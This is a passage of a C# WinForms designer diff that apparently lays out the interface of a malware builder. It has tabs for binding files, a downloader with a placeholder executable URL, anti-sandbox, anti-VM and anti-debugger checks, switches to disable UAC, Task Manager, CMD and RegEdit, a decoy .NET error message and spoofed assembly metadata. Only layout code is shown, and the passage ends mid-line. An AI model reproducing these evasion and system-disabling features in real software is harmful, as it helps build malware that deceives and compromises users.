this.boxBindOnce.TabIndex = 29; + this.boxBindOnce.Text = "Run Once"; + // + // binderClear + // + this.binderClear.Font = new System.Drawing.Font("Verdana", 7F); + this.binderClear.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.binderClear.Location = new System.Drawing.Point(134, 184); + this.binderClear.Name = "binderClear"; + this.binderClear.Size = new System.Drawing.Size(58, 25); + this.binderClear.TabIndex = 28; + this.binderClear.Text = "Clear"; + this.binderClear.Click += new System.EventHandler(this.binderClear_Click); + // + // binderRemove + // + this.binderRemove.Font = new System.Drawing.Font("Verdana", 7F); + this.binderRemove.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.binderRemove.Location = new System.Drawing.Point(70, 184); + this.binderRemove.Name = "binderRemove"; + this.binderRemove.Size = new System.Drawing.Size(58, 25); + this.binderRemove.TabIndex = 27; + this.binderRemove.Text = "Remove"; + this.binderRemove.Click += new System.EventHandler(this.binderRemove_Click); + // + // binderAdd + // + this.binderAdd.Font = new System.Drawing.Font("Verdana", 7F); + this.binderAdd.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.binderAdd.Location = new System.Drawing.Point(6, 184); + this.binderAdd.Name = "binderAdd"; + this.binderAdd.Size = new System.Drawing.Size(58, 25); + this.binderAdd.TabIndex = 26; + this.binderAdd.Text = "Add"; + this.binderAdd.Click += new System.EventHandler(this.binderAdd_Click); + // + // listBind + // + this.listBind.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); + this.listBind.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.listBind.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.listBind.FormattingEnabled = true; + this.listBind.ItemHeight = 12; + this.listBind.Location = new System.Drawing.Point(6, 6); + this.listBind.Name = "listBind"; + this.listBind.Size = new System.Drawing.Size(272, 168); + this.listBind.TabIndex = 0; + // + // tabPage3 + // + this.tabPage3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(212)))), ((int)(((byte)(212)))), ((int)(((byte)(212))))); + this.tabPage3.Controls.Add(this.instaButton4); + this.tabPage3.Controls.Add(this.instaButton5); + this.tabPage3.Controls.Add(this.instaButton6); + this.tabPage3.Controls.Add(this.txtdl); + this.tabPage3.Controls.Add(this.boxDLOnce); + this.tabPage3.Controls.Add(this.listDL); + this.tabPage3.Location = new System.Drawing.Point(156, 4); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Padding = new System.Windows.Forms.Padding(3); + this.tabPage3.Size = new System.Drawing.Size(284, 215); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = "Downloader"; + // + // instaButton4 + // + this.instaButton4.Font = new System.Drawing.Font("Verdana", 7F); + this.instaButton4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaButton4.Location = new System.Drawing.Point(134, 184); + this.instaButton4.Name = "instaButton4"; + this.instaButton4.Size = new System.Drawing.Size(58, 25); + this.instaButton4.TabIndex = 35; + this.instaButton4.Text = "Clear"; + this.instaButton4.Click += new System.EventHandler(this.instaButton4_Click); + // + // instaButton5 + // + this.instaButton5.Font = new System.Drawing.Font("Verdana", 7F); + this.instaButton5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaButton5.Location = new System.Drawing.Point(70, 184); + this.instaButton5.Name = "instaButton5"; + this.instaButton5.Size = new System.Drawing.Size(58, 25); + this.instaButton5.TabIndex = 34; + this.instaButton5.Text = "Remove"; + this.instaButton5.Click += new System.EventHandler(this.instaButton5_Click); + // + // instaButton6 + // + this.instaButton6.Font = new System.Drawing.Font("Verdana", 7F); + this.instaButton6.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaButton6.Location = new System.Drawing.Point(6, 184); + this.instaButton6.Name = "instaButton6"; + this.instaButton6.Size = new System.Drawing.Size(58, 25); + this.instaButton6.TabIndex = 33; + this.instaButton6.Text = "Add"; + this.instaButton6.Click += new System.EventHandler(this.instaButton6_Click); + // + // txtdl + // + this.txtdl.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.txtdl.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.txtdl.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.txtdl.Location = new System.Drawing.Point(6, 158); + this.txtdl.Name = "txtdl"; + this.txtdl.Size = new System.Drawing.Size(270, 19); + this.txtdl.TabIndex = 32; + this.txtdl.Text = "http://www.yourwebsite.com/file.exe"; + // + // boxDLOnce + // + this.boxDLOnce.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.boxDLOnce.Checked = false; + this.boxDLOnce.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.boxDLOnce.Font = new System.Drawing.Font("Verdana", 7F); + this.boxDLOnce.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.boxDLOnce.Location = new System.Drawing.Point(198, 189); + this.boxDLOnce.Name = "boxDLOnce"; + this.boxDLOnce.Size = new System.Drawing.Size(78, 21); + this.boxDLOnce.TabIndex = 31; + this.boxDLOnce.Text = "Run Once"; + this.boxDLOnce.Click += new System.EventHandler(this.boxDLOnce_Click); + // + // listDL + // + this.listDL.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); + this.listDL.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.listDL.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.listDL.FormattingEnabled = true; + this.listDL.ItemHeight = 12; + this.listDL.Location = new System.Drawing.Point(6, 6); + this.listDL.Name = "listDL"; + this.listDL.Size = new System.Drawing.Size(272, 144); + this.listDL.TabIndex = 30; + // + // tabPage5 + // + this.tabPage5.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(212)))), ((int)(((byte)(212)))), ((int)(((byte)(212))))); + this.tabPage5.Controls.Add(this.a3); + this.tabPage5.Controls.Add(this.instaLabel10); + this.tabPage5.Controls.Add(this.d4); + this.tabPage5.Controls.Add(this.d3); + this.tabPage5.Controls.Add(this.d2); + this.tabPage5.Controls.Add(this.d1); + this.tabPage5.Controls.Add(this.instaLabel9); + this.tabPage5.Controls.Add(this.instaSeperator5); + this.tabPage5.Controls.Add(this.a2); + this.tabPage5.Controls.Add(this.a4); + this.tabPage5.Controls.Add(this.a5); + this.tabPage5.Controls.Add(this.a1); + this.tabPage5.Controls.Add(this.instaLabel7); + this.tabPage5.Controls.Add(this.instaSeperator4); + this.tabPage5.Location = new System.Drawing.Point(156, 4); + this.tabPage5.Name = "tabPage5"; + this.tabPage5.Size = new System.Drawing.Size(284, 215); + this.tabPage5.TabIndex = 4; + this.tabPage5.Text = "Antis / Disable"; + // + // a3 + // + this.a3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.a3.Checked = false; + this.a3.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.a3.Font = new System.Drawing.Font("Verdana", 7F); + this.a3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.a3.Location = new System.Drawing.Point(200, 34); + this.a3.Name = "a3"; + this.a3.Size = new System.Drawing.Size(78, 23); + this.a3.TabIndex = 35; + this.a3.Text = "Debugger"; + // + // instaLabel10 + // + this.instaLabel10.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel10.Font = new System.Drawing.Font("Verdana", 6F); + this.instaLabel10.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel10.Location = new System.Drawing.Point(99, 193); + this.instaLabel10.Name = "instaLabel10"; + this.instaLabel10.Size = new System.Drawing.Size(180, 19); + this.instaLabel10.TabIndex = 34; + this.instaLabel10.Text = "Disablers may require Admin rights."; + // + // d4 + // + this.d4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.d4.Checked = false; + this.d4.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.d4.Font = new System.Drawing.Font("Verdana", 7F); + this.d4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.d4.Location = new System.Drawing.Point(101, 125); + this.d4.Name = "d4"; + this.d4.Size = new System.Drawing.Size(78, 23); + this.d4.TabIndex = 33; + this.d4.Text = "RegEdit"; + // + // d3 + // + this.d3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.d3.Checked = false; + this.d3.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.d3.Font = new System.Drawing.Font("Verdana", 7F); + this.d3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.d3.Location = new System.Drawing.Point(6, 189); + this.d3.Name = "d3"; + this.d3.Size = new System.Drawing.Size(78, 23); + this.d3.TabIndex = 32; + this.d3.Text = "CMD"; + // + // d2 + // + this.d2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.d2.Checked = false; + this.d2.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.d2.Font = new System.Drawing.Font("Verdana", 7F); + this.d2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.d2.Location = new System.Drawing.Point(6, 155); + this.d2.Name = "d2"; + this.d2.Size = new System.Drawing.Size(89, 23); + this.d2.TabIndex = 31; + this.d2.Text = "Task Manager"; + // + // d1 + // + this.d1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.d1.Checked = false; + this.d1.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.d1.Font = new System.Drawing.Font("Verdana", 7F); + this.d1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.d1.Location = new System.Drawing.Point(6, 126); + this.d1.Name = "d1"; + this.d1.Size = new System.Drawing.Size(78, 23); + this.d1.TabIndex = 30; + this.d1.Text = "UAC"; + // + // instaLabel9 + // + this.instaLabel9.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel9.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel9.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel9.Location = new System.Drawing.Point(6, 100); + this.instaLabel9.Name = "instaLabel9"; + this.instaLabel9.Size = new System.Drawing.Size(134, 19); + this.instaLabel9.TabIndex = 29; + this.instaLabel9.Text = "Disable"; + // + // instaSeperator5 + // + this.instaSeperator5.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaSeperator5.IsVertical = false; + this.instaSeperator5.Location = new System.Drawing.Point(6, 96); + this.instaSeperator5.Name = "instaSeperator5"; + this.instaSeperator5.Size = new System.Drawing.Size(272, 23); + this.instaSeperator5.TabIndex = 28; + this.instaSeperator5.Text = "instaSeperator5"; + this.instaSeperator5.Thickness = 1F; + // + // a2 + // + this.a2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.a2.Checked = false; + this.a2.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.a2.Font = new System.Drawing.Font("Verdana", 7F); + this.a2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.a2.Location = new System.Drawing.Point(101, 34); + this.a2.Name = "a2"; + this.a2.Size = new System.Drawing.Size(106, 23); + this.a2.TabIndex = 27; + this.a2.Text = "Virtual Machine"; + // + // a4 + // + this.a4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.a4.Checked = false; + this.a4.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.a4.Font = new System.Drawing.Font("Verdana", 7F); + this.a4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.a4.Location = new System.Drawing.Point(101, 63); + this.a4.Name = "a4"; + this.a4.Size = new System.Drawing.Size(78, 23); + this.a4.TabIndex = 26; + this.a4.Text = "WireShark"; + // + // a5 + // + this.a5.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.a5.Checked = false; + this.a5.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.a5.Font = new System.Drawing.Font("Verdana", 7F); + this.a5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.a5.Location = new System.Drawing.Point(6, 63); + this.a5.Name = "a5"; + this.a5.Size = new System.Drawing.Size(78, 23); + this.a5.TabIndex = 25; + this.a5.Text = "Emulator"; + // + // a1 + // + this.a1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.a1.Checked = false; + this.a1.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.a1.Font = new System.Drawing.Font("Verdana", 7F); + this.a1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.a1.Location = new System.Drawing.Point(6, 34); + this.a1.Name = "a1"; + this.a1.Size = new System.Drawing.Size(78, 23); + this.a1.TabIndex = 24; + this.a1.Text = "Sandboxie"; + // + // instaLabel7 + // + this.instaLabel7.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel7.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel7.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel7.Location = new System.Drawing.Point(6, 9); + this.instaLabel7.Name = "instaLabel7"; + this.instaLabel7.Size = new System.Drawing.Size(134, 19); + this.instaLabel7.TabIndex = 10; + this.instaLabel7.Text = "Anti"; + // + // instaSeperator4 + // + this.instaSeperator4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaSeperator4.IsVertical = false; + this.instaSeperator4.Location = new System.Drawing.Point(6, 5); + this.instaSeperator4.Name = "instaSeperator4"; + this.instaSeperator4.Size = new System.Drawing.Size(272, 23); + this.instaSeperator4.TabIndex = 9; + this.instaSeperator4.Text = "instaSeperator4"; + this.instaSeperator4.Thickness = 1F; + // + // tabPage7 + // + this.tabPage7.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(212)))), ((int)(((byte)(212)))), ((int)(((byte)(212))))); + this.tabPage7.Controls.Add(this.instaLabel11); + this.tabPage7.Controls.Add(this.boolMsg); + this.tabPage7.Controls.Add(this.msgRunOnce); + this.tabPage7.Controls.Add(this.instaButton7); + this.tabPage7.Controls.Add(this.msgBody); + this.tabPage7.Controls.Add(this.instaLabel13); + this.tabPage7.Controls.Add(this.msgTitle); + this.tabPage7.Controls.Add(this.instaLabel12); + this.tabPage7.Controls.Add(this.instaSeperator6); + this.tabPage7.Location = new System.Drawing.Point(156, 4); + this.tabPage7.Name = "tabPage7"; + this.tabPage7.Size = new System.Drawing.Size(284, 215); + this.tabPage7.TabIndex = 6; + this.tabPage7.Text = "Fake Message"; + // + // instaLabel11 + // + this.instaLabel11.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel11.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel11.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel11.Location = new System.Drawing.Point(27, 7); + this.instaLabel11.Name = "instaLabel11"; + this.instaLabel11.Size = new System.Drawing.Size(134, 19); + this.instaLabel11.TabIndex = 31; + this.instaLabel11.Text = "Fake Message"; + // + // boolMsg + // + this.boolMsg.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.boolMsg.Checked = false; + this.boolMsg.CheckStyle = InstaCheckBox.CheckStyleType.Checkmark; + this.boolMsg.Font = new System.Drawing.Font("Verdana", 7F); + this.boolMsg.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.boolMsg.Location = new System.Drawing.Point(8, 6); + this.boolMsg.Name = "boolMsg"; + this.boolMsg.Size = new System.Drawing.Size(78, 21); + this.boolMsg.TabIndex = 35; + // + // msgRunOnce + // + this.msgRunOnce.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.msgRunOnce.Checked = false; + this.msgRunOnce.CheckStyle = InstaCheckBox.CheckStyleType.Square; + this.msgRunOnce.Font = new System.Drawing.Font("Verdana", 7F); + this.msgRunOnce.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.msgRunOnce.Location = new System.Drawing.Point(200, 185); + this.msgRunOnce.Name = "msgRunOnce"; + this.msgRunOnce.Size = new System.Drawing.Size(78, 21); + this.msgRunOnce.TabIndex = 34; + this.msgRunOnce.Text = "Run Once"; + // + // instaButton7 + // + this.instaButton7.Font = new System.Drawing.Font("Verdana", 7F); + this.instaButton7.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaButton7.Location = new System.Drawing.Point(96, 179); + this.instaButton7.Name = "instaButton7"; + this.instaButton7.Size = new System.Drawing.Size(93, 25); + this.instaButton7.TabIndex = 26; + this.instaButton7.Text = "Test"; + this.instaButton7.Click += new System.EventHandler(this.instaButton7_Click); + // + // msgBody + // + this.msgBody.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.msgBody.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.msgBody.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.msgBody.Location = new System.Drawing.Point(17, 83); + this.msgBody.Multiline = true; + this.msgBody.Name = "msgBody"; + this.msgBody.Size = new System.Drawing.Size(246, 90); + this.msgBody.TabIndex = 14; + this.msgBody.Text = "Microsoft .net Framework Error."; + // + // instaLabel13 + // + this.instaLabel13.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel13.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel13.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel13.Location = new System.Drawing.Point(17, 68); + this.instaLabel13.Name = "instaLabel13"; + this.instaLabel13.Size = new System.Drawing.Size(134, 19); + this.instaLabel13.TabIndex = 33; + this.instaLabel13.Text = "Message"; + // + // msgTitle + // + this.msgTitle.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.msgTitle.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.msgTitle.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.msgTitle.Location = new System.Drawing.Point(17, 44); + this.msgTitle.Name = "msgTitle"; + this.msgTitle.Size = new System.Drawing.Size(238, 19); + this.msgTitle.TabIndex = 13; + this.msgTitle.Text = "Error!"; + // + // instaLabel12 + // + this.instaLabel12.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel12.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel12.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel12.Location = new System.Drawing.Point(17, 26); + this.instaLabel12.Name = "instaLabel12"; + this.instaLabel12.Size = new System.Drawing.Size(134, 19); + this.instaLabel12.TabIndex = 32; + this.instaLabel12.Text = "Title"; + // + // instaSeperator6 + // + this.instaSeperator6.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaSeperator6.IsVertical = false; + this.instaSeperator6.Location = new System.Drawing.Point(6, 3); + this.instaSeperator6.Name = "instaSeperator6"; + this.instaSeperator6.Size = new System.Drawing.Size(272, 23); + this.instaSeperator6.TabIndex = 30; + this.instaSeperator6.Text = "instaSeperator6"; + this.instaSeperator6.Thickness = 1F; + // + // tabPage4 + // + this.tabPage4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(212)))), ((int)(((byte)(212)))), ((int)(((byte)(212))))); + this.tabPage4.Controls.Add(this.instaLabel30); + this.tabPage4.Controls.Add(this.aVersion); + this.tabPage4.Controls.Add(this.instaLabel29); + this.tabPage4.Controls.Add(this.instaLabel28); + this.tabPage4.Controls.Add(this.aDescription); + this.tabPage4.Controls.Add(this.instaLabel27); + this.tabPage4.Controls.Add(this.instaLabel26); + this.tabPage4.Controls.Add(this.aTitle); + this.tabPage4.Controls.Add(this.instaLabel25); + this.tabPage4.Controls.Add(this.instaButton13); + this.tabPage4.Controls.Add(this.instaButton12); + this.tabPage4.Controls.Add(this.aCopyright); + this.tabPage4.Controls.Add(this.aProduct); + this.tabPage4.Controls.Add(this.aCompany); + this.tabPage4.Controls.Add(this.instaLabel24); + this.tabPage4.Controls.Add(this.instaSeperator11); + this.tabPage4.Controls.Add(this.instaButton11); + this.tabPage4.Controls.Add(this.instaButton10); + this.tabPage4.Controls.Add(this.instaButton9); + this.tabPage4.Controls.Add(this.pictureBox1); + this.tabPage4.Controls.Add(this.instaLabel15); + this.tabPage4.Controls.Add(this.instaSeperator10); + this.tabPage4.Location = new System.Drawing.Point(156, 4); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Size = new System.Drawing.Size(284, 215); + this.tabPage4.TabIndex = 3; + this.tabPage4.Text = "Assembly"; + // + // instaLabel30 + // + this.instaLabel30.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel30.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel30.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel30.Location = new System.Drawing.Point(13, 128); + this.instaLabel30.Name = "instaLabel30"; + this.instaLabel30.Size = new System.Drawing.Size(61, 19); + this.instaLabel30.TabIndex = 53; + this.instaLabel30.Text = "Version"; + // + // aVersion + // + this.aVersion.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.aVersion.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.aVersion.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.aVersion.Location = new System.Drawing.Point(80, 125); + this.aVersion.Name = "aVersion"; + this.aVersion.Size = new System.Drawing.Size(145, 19); + this.aVersion.TabIndex = 52; + this.aVersion.Text = "1.0.0.0"; + // + // instaLabel29 + // + this.instaLabel29.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel29.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel29.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel29.Location = new System.Drawing.Point(13, 107); + this.instaLabel29.Name = "instaLabel29"; + this.instaLabel29.Size = new System.Drawing.Size(61, 19); + this.instaLabel29.TabIndex = 51; + this.instaLabel29.Text = "Copyright"; + // + // instaLabel28 + // + this.instaLabel28.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel28.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel28.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel28.Location = new System.Drawing.Point(13, 87); + this.instaLabel28.Name = "instaLabel28"; + this.instaLabel28.Size = new System.Drawing.Size(61, 19); + this.instaLabel28.TabIndex = 50; + this.instaLabel28.Text = "Product"; + // + // aDescription + // + this.aDescription.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.aDescription.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.aDescription.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.aDescription.Location = new System.Drawing.Point(80, 45); + this.aDescription.Name = "aDescription"; + this.aDescription.Size = new System.Drawing.Size(145, 19); + this.aDescription.TabIndex = 41; + // + // instaLabel27 + // + this.instaLabel27.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel27.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel27.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel27.Location = new System.Drawing.Point(13, 66); + this.instaLabel27.Name = "instaLabel27"; + this.instaLabel27.Size = new System.Drawing.Size(61, 19); + this.instaLabel27.TabIndex = 49; + this.instaLabel27.Text = "Company"; + // + // instaLabel26 + // + this.instaLabel26.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel26.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel26.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel26.Location = new System.Drawing.Point(13, 48); + this.instaLabel26.Name = "instaLabel26"; + this.instaLabel26.Size = new System.Drawing.Size(61, 19); + this.instaLabel26.TabIndex = 48; + this.instaLabel26.Text = "Description"; + // + // aTitle + // + this.aTitle.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.aTitle.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.aTitle.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.aTitle.Location = new System.Drawing.Point(80, 25); + this.aTitle.Name = "aTitle"; + this.aTitle.Size = new System.Drawing.Size(145, 19); + this.aTitle.TabIndex = 40; + // + // instaLabel25 + // + this.instaLabel25.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(40)))), ((int)(((byte)(40))))); + this.instaLabel25.Font = new System.Drawing.Font("Verdana", 7F); + this.instaLabel25.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(76)))), ((int)(((byte)(160)))), ((int)(((byte)(190))))); + this.instaLabel25.Location = new System.Drawing.Point(13, 28); + this.instaLabel25.Name = "instaLabel25"; + this.instaLabel25.Size = new System.Drawing.Size(61, 19); + this.instaLabel25.TabIndex = 47; + this.instaLabel25.Text = "Title"; + // + // instaButton13 + // + this.instaButton13.Font = new System.Drawing.Font("Verdana", 7F); + this.instaButton13.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.instaButton13.Location = new System.Drawing.Point(235, 85); + this.instaButton13.Name = "instaButton13"; + this.instaButton13.Size = new System.Drawing.Size(36, 39); + this.instaButton13.TabIndex = 46; + this.instaButton13.Text = "Clear"; + this.instaButton13.Click += new System.EventHandler(this.instaButton13_Click); + // + // instaButton12 + // + this.instaButton12.Font = new 